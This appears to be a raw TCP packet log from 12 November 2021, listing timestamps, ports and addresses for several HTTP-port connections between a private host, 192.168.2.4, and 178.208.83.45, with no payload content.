Nov 12, 2021 22:23:20.850795984 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.850832939 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.850860119 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.850867987 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.850882053 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.850915909 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.850935936 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.850939989 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.850953102 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.850965023 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.850979090 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.850987911 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.850991964 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.850996017 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.851021051 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.851027012 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.851041079 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.851046085 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.851073980 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.851077080 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.851087093 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.851099968 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.851105928 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.851135015 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.851149082 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.851155043 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.851162910 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.851177931 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.851218939 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.873197079 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873244047 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873261929 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873275995 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873322010 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.873358011 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.873373985 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873378038 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.873389959 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873404026 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873430014 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.873440981 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.873467922 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873475075 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:20.873568058 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873584032 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873599052 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873615026 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873630047 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873644114 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873661041 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873677015 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873692989 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873711109 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873728037 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873748064 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873764992 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873781919 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873797894 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873811960 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873827934 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873843908 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873857975 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873873949 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873889923 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873903990 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873919010 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873934031 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.873950005 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.874016047 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.874032021 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.874047041 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.874062061 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.896800041 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.896900892 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.896930933 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.897821903 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.897874117 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.897900105 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.897926092 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.897953033 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.897980928 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.898006916 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.898032904 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.902765036 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:20.902964115 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.703501940 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.705066919 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.727484941 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.727585077 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.727682114 CET	80	49804	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.727737904 CET	49804	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.728152990 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.728244066 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.728414059 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.728490114 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.750915051 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.750937939 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.750950098 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.750962019 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.750972986 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.750984907 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.750994921 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.751008034 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.751015902 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.751023054 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.751025915 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.751029968 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.751038074 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.751076937 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.751107931 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.751137972 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.773554087 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773576975 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773588896 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773602009 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773613930 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773622036 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773627043 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.773629904 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773642063 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773650885 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773667097 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.773674011 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773682117 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773684978 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.773691893 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773736000 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.773746014 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773758888 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773772001 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773777962 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.773782969 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773797035 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773801088 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.773808002 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773819923 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.773819923 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.773838997 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.773857117 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.796092033 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796118021 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796130896 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796144009 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796154976 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796166897 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796179056 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796173096 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.796190977 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796241999 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.796263933 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.796271086 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796278000 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:21.796313047 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796325922 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796338081 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796355009 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796366930 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796379089 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796391010 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796403885 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796426058 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796436071 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796438932 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796462059 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796473980 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796487093 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796499014 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796509027 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796520948 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796533108 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796544075 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796556950 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796569109 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796581030 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796611071 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796659946 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796672106 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796683073 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796696901 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796710014 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.796720982 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.818598986 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.818690062 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.818922043 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.818983078 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.819099903 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.819226980 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.822199106 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:21.822274923 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.318795919 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.319895029 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.341229916 CET	80	49805	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.341865063 CET	49805	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.342231989 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.342380047 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.347075939 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.347258091 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.347424030 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.347526073 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.369467020 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.369493961 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.369680882 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.369693041 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.369715929 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.369728088 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.369740009 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.369754076 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.369761944 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.369777918 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.369793892 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.369807005 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.369811058 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.369827032 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.369844913 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.369862080 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.370318890 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.392158985 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392184973 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392199039 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392210960 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392222881 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392234087 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392242908 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392244101 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.392255068 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392268896 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392281055 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392287016 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.392292023 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392303944 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392317057 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392328978 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392340899 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.392340899 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392353058 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392362118 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.392364979 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392381907 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.392395973 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.392406940 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.392615080 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392627954 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.392694950 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.414725065 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414752960 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414764881 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414777994 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414788961 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414800882 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414815903 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414827108 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414839029 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414848089 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.414856911 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414861917 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414868116 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414890051 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414897919 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.414910078 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.414942026 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414949894 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414957047 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414985895 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.414994955 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415020943 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415034056 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415045977 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415059090 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415071011 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415101051 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415112972 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415142059 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415154934 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415167093 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415184975 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415194988 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415204048 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415256023 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415268898 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415299892 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415311098 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415324926 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415335894 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.415348053 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437572956 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437596083 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437608004 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437628984 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437639952 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437666893 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437679052 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437701941 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437714100 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437725067 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437737942 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437751055 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437762022 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.437773943 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.439791918 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.439918041 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.876790047 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.877840042 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.899280071 CET	80	49806	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.900053978 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.900166035 CET	49806	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.900213957 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.900768042 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.900939941 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.901187897 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.901346922 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.923074007 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.923099041 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.923425913 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.923439980 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.923453093 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.923495054 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.923528910 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.923561096 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.923573017 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.923619032 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.923630953 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.923643112 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.923655033 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.923666954 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.923677921 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.923681021 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.923705101 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.923746109 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.945979118 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946008921 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946022987 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946034908 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946047068 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946058989 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946070910 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946082115 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946094990 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946100950 CET	49809	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:22.946108103 CET	80	49809	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:22.946119070 CET	80	49809	178.208.83.45	192.168.2.4
